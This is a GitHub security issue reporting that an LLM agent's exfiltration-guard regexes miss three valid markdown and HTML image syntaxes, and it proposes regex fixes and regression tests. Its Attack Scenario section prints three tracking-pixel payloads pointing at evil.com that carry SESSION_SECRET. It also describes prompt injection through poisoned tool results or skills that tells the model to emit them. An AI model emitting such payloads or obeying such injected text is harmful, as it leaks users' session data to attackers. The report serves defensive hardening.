Skip to content

High: exfiltration guard's markdown/HTML image regexes bypassable via valid CommonMark and HTML5 syntax #6476

Description

@bug-ops

Vulnerability

ExfiltrationGuard::scan_output() in crates/zeph-sanitizer/src/exfiltration.rs strips markdown/HTML images with external URLs to prevent tracking-pixel exfiltration (module doc, lines 4-26). The detection regexes only match a narrow literal syntax and miss several standard-compliant variants that real markdown/HTML renderers still treat as images:

  1. Leading whitespace inside the link destinationMARKDOWN_IMAGE_RE (line 47) is r"!\[([^\]]*)\]\((https?://[^)]+)\)", requiring https?:// to immediately follow the opening (. CommonMark permits optional whitespace around the destination: ![t]( https://evil.com/pixel.gif) is valid markdown and renders as an image in CommonMark-compliant renderers, but does not match this regex.
  2. Angle-bracket-wrapped destination — CommonMark also allows the destination to be wrapped in <...> (used for URLs containing spaces/parens): ![t](<https://evil.com/pixel.gif>). The regex requires the literal string to start with https?://, so a <-prefixed destination never matches. Same gap applies to REFERENCE_DEF_RE (line 53), which requires \s*(https?://\S+) after the : with no allowance for <...> wrapping.
  3. Unquoted HTML attribute valueHTML_IMG_RE (line 69) requires ["'](https?://[^"']+)["'] around the src value. HTML5 permits unquoted attribute values: <img src=https://evil.com/pixel.gif> is valid HTML and is rendered by browsers, but the regex requires a quote character immediately after = and never matches.

None of these three variants are covered by the existing test suite (crates/zeph-sanitizer/src/exfiltration.rs tests only cover the literal syntax and the previously-fixed Unicode zero-width bypass from #4752 — no test exercises whitespace, angle brackets, or unquoted attributes).

Severity

High — this is the guard's core threat model (module doc: "an adversary plants ![t](https://evil.com/track.gif) in content... the rendered image loads silently, leaking session data") and three independent, spec-valid syntax variants defeat it with no additional obfuscation effort beyond what an LLM asked to "exfiltrate data via a tracking pixel, but avoid detection" would plausibly produce on the first attempt.

Location

  • crates/zeph-sanitizer/src/exfiltration.rs:47 (MARKDOWN_IMAGE_RE)
  • crates/zeph-sanitizer/src/exfiltration.rs:53 (REFERENCE_DEF_RE)
  • crates/zeph-sanitizer/src/exfiltration.rs:69 (HTML_IMG_RE)

Attack Scenario

Injected/untrusted content (e.g. from a poisoned tool result or a malicious skill) instructs the LLM to emit a tracking pixel using any of:

![status](<https://evil.com/exfil?d=SESSION_SECRET>)
![status]( https://evil.com/exfil?d=SESSION_SECRET)
<img src=https://evil.com/exfil?d=SESSION_SECRET>

scan_output() returns the text unmodified (no MarkdownImageBlocked/HtmlImageBlocked event, no substitution), and the payload passes through to any downstream channel/UI that renders markdown or HTML (Telegram, Discord embeds, a web-based TUI/artifact view), where a spec-compliant renderer loads the image and leaks whatever query-string data was embedded.

Remediation

Loosen the regexes to match the syntax actually accepted by CommonMark/HTML5:

  • Allow optional whitespace (\s*) between ( and the destination, and between : and the destination in REFERENCE_DEF_RE.
  • Support <...>-wrapped destinations as an alternate branch ((?:<(https?://[^>]+)>|(https?://[^)\s]+))), and thread the correct capture group through.
  • Support unquoted HTML attribute values in HTML_IMG_RE (src\s*=\s*(?:["'](https?://[^"']+)["']|(https?://[^\s>]+))).
  • Add regression tests for all three variants alongside the existing Unicode-bypass tests.

Consider whether a proper CommonMark parser (e.g. pulldown-cmark, already a plausible dependency given the project's markdown-heavy I/O) would be more robust than hand-rolled regexes for this security-critical path, since regex-based detection will likely keep needing incremental patches as new syntax edge cases are found (as already happened once for the Unicode bypass in #4752).

References

Related: #4752 (prior Unicode zero-width bypass fix in the same guard)

Metadata

Metadata

Assignees

Labels

bugSomething isn't workingsecuritySecurity-related issue

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions